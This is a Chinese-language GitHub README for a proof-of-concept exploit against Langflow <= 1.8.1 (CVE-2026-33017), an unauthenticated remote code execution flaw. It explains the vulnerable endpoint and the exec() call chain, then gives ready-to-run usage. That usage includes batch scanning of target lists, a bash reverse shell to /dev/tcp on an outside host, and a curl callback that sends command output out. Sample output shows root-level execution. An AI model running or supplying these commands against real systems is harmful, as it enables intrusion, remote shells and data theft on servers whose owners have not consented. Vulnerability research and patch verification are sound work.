MaxMnMl/langflow-CVE-2026-33017-poc
GitHub: MaxMnMl/langflow-CVE-2026-33017-poc
针对Langflow <= 1.8.1版本中公开flow构建端点的未认证远程代码执行漏洞(CVE-2026-33017)的概念验证利用工具。
Stars: 0 | Forks: 0
# CVE-2026-33017 — Langflow 未认证 RCE PoC




## 概要
Langflow `<= 1.8.1` 暴露了一个公开的 flow 构建端点,该端点接受包含任意代码的攻击者控制的 flow 数据。此代码被传递给 `validate.py` 中的 `prepare_global_scope()`,后者在没有任何沙箱隔离的情况下调用了 `exec()`,导致以服务器进程权限进行未认证的远程代码执行。
- **CVE:** [CVE-2026-33017](https://www.cve.org/CVERecord?id=CVE-2026-33017)
- **GHSA:** [GHSA-vwmf-pq79-vjvx](https://github.com/advisories/GHSA-vwmf-pq79-vjvx)
- **严重程度:** Critical — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N)
- **已修复:** [v 1.8.2](https://github.com/langflow-ai/langflow/releases/tag/1.8.2)
## 受影响版本
| Package | Affected | Patched |
| -------------- | ---------- | ------- |
| `pip langflow` | `<= 1.8.1` | `1.8.2` |
## 漏洞详情
### 根本原因
`build_public_tmp` 端点被有意设计为无需认证——其目的是允许任何人执行存储的公开 flow。缺陷在于它还接受一个可选的 `data` 参数,其中包含攻击者控制的 flow 定义。因此,未经认证的用户可以提交任意节点代码,服务器将其视为合法的 flow 图,并在未经验证的情况下直接传递给代码执行例程。
修复方案很简单:移除 `data` 参数并强制端点仅调用 `build_graph_from_db()`,以便公开 flow 仅执行存储的数据,绝不执行攻击者提供的代码。
### 执行链
攻击者的 payload 在到达执行之前会经过以下调用链:
| Step | File | Detail |
| ---- | ----------------- | ---------------------------------------------------------------------- |
| 1 | `chat.py:580` | `build_public_tmp` 在请求体中接收攻击者数据 |
| 2 | `build.py:81` | `start_flow_build()` 转发不受信任的 payload |
| 3 | `build.py:298` | `build_graph_from_data()` 将其传递给图构造 |
| 4 | `base.py:1168` | `Graph.from_payload()` 反序列化攻击者提供的节点定义 |
| 5 | `base.py:1323` | 为每个节点调用 `instantiate_component()` |
| 6 | `loading.py:43` | 从自定义组件参数中提取 `code` 字段 |
| 7 | `eval.py:9` | `create_class()` 接收原始攻击者代码 |
| 8 | `validate.py:397` | `exec(compiled_code, exec_globals)` — 无沙箱 |
### 为什么模块级注入有效
`validate.py` 中的 `prepare_global_scope()` 在图编译期间处理 `ast.Assign` 节点——在任何 flow 方法被调用之前。因此,注入代码中的顶级赋值会立即执行:
```
_r = __import__('os').system("whoami") # runs at compile time, not at flow run time
```
输出进入 **server 的 stdout**,而不是 HTTP 响应。数据渗出需要带外回调(反向 shell,curl webhook)。
### 易受攻击端点
| Endpoint | Authentication | Attack Vector |
| ---------------------------------------------- | -------------- | ----------------------- |
| `POST /api/v1/build_public_tmp/{flow_id}/flow` | None | Remote, unauthenticated |
### 利用场景
| Scenario | Requirement |
| -------------------------- | -------------------------------------------------------------------------------- |
| **A — 启用 AUTO_LOGIN** | `AUTO_LOGIN=true`:匿名获取 JWT token,创建一个 PUBLIC flow,利用漏洞 |
| **B — 已知公开 flow** | 已知共享/公开的 flow UUID:直接利用,无需认证 |
## 用法
```
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"
```
### 选项
| Flag | Default | Description |
| -------------- | ------- | ----------------------------------------------------- |
| `--url` | — | 单个目标 Langflow URL |
| `--url-file` | — | 每行一个 URL 的文本文件(批量扫描) |
| `--cmd` | `id` | 在目标上执行的 OS 命令 |
| `--flow-id` | — | 现有公开 flow 的 UUID(跳过 flow 创建) |
| `--threads` | `5` | 批量模式的并行线程数 |
| `--timeout` | `15` | HTTP 请求超时(秒) |
| `--no-cleanup` | `false` | 利用后保留创建的 flow |
### 示例
**盲确认(在不捕获输出的情况下验证 RCE)**
```
python3 poc.py --url http://target:7860 --cmd "id"
```
**反向 shell — 配合本地监听器**
```
# 1. 在你的机器上启动监听器
nc -lvnp 4444
# 2. 发送 reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
```
**通过 HTTP 回调进行 OOB 数据渗出 — 配合本地服务器**
```
# 1. 启动本地 HTTP server
python3 -m http.server 8080
# 2. 通过 curl callback 窃取输出
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"
```
**使用已知的公开 flow UUID(无需创建 flow)**
```
python3 poc.py --url http://target:7860 --cmd "id" --flow-id
```
**从文件进行批量扫描**
```
python3 poc.py --url-file targets.txt --cmd "id" --threads 10
```
### 示例输出
PoC 确认执行已发生。`[+] VULNERABLE` 表示构建成功且注入的代码已运行——它**并不**意味着捕获了输出。
```
============================================================
CVE-2026-33017 — Langflow RCE PoC
============================================================
Targets : 1
Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
Threads : 5 | Timeout : 15s
============================================================
[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)
============================================================
SUMMARY
============================================================
[+] http://target:7860 VULNERABLE
============================================================
1/1 target(s) vulnerable
```
在本地 HTTP 服务器上接收到的输出:
```
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)
```
## 参考
- [GHSA-vwmf-pq79-vjvx](https://github.com/advisories/GHSA-vwmf-pq79-vjvx)
- [CVE-2026-33017](https://www.cve.org/CVERecord?id=CVE-2026-33017)
- [Langflow 仓库](https://github.com/langflow-ai/langflow)
- 相关: [CVE-2025-3248](https://github.com/advisories/GHSA-xm5v-h5f2-2mjp) — `/api/v1/validate/code` 上类似的 `exec()` 问题
标签:CISA项目, CVE-2026-33017, CVSS 9.3, Langflow, OPA, PoC, RCE, 人工智能安全, 企业安全, 合规性, 暴力破解, 未授权访问, 漏洞分析, 编程工具, 网络资产管理, 自动化payload嵌入, 路径探测, 输入验证缺失, 远程代码执行, 逆向工具, 靶场